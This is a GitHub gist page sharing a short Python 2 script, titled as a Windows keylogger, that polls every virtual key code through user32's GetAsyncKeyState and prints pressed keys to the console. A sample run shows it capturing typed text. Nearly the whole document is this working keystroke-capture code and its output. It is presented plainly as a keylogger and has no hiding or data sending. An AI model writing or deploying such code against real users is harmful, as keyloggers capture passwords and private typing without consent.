Skip to content

Instantly share code, notes, and snippets.

@inaz2
Last active December 21, 2019 16:38
Show Gist options
  • Save inaz2/541da967ad04d06b975e to your computer and use it in GitHub Desktop.
Save inaz2/541da967ad04d06b975e to your computer and use it in GitHub Desktop.
Windows keylogger by Python ctypes (Cygwin)
import sys
import time
from ctypes import *
GetAsyncKeyState = cdll.user32.GetAsyncKeyState
special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"}
# reset key states
for i in xrange(256):
GetAsyncKeyState(i)
while True:
for i in xrange(256):
if GetAsyncKeyState(i) & 1:
if i in special_keys:
print "<%s>" % special_keys[i],
elif 0x30 <= i <= 0x5a:
print "%c" % i,
else:
print "[%02x]" % i,
sys.stdout.flush()
$ python
Python 2.7.5 (default, Oct 2 2013, 22:34:09)
[GCC 4.8.1] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>>
$ python keylogger.py
<Shift> [a0] H E L L O [bc] <Space> [a0] <Shift> W O R L D [a0] <Shift> 1 <Enter> [a2] <Ctrl> C
Traceback (most recent call last):
File "keylogger.py", line 15, in <module>
if GetAsyncKeyState(i) & 1:
KeyboardInterrupt
@kou1okada
Copy link

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment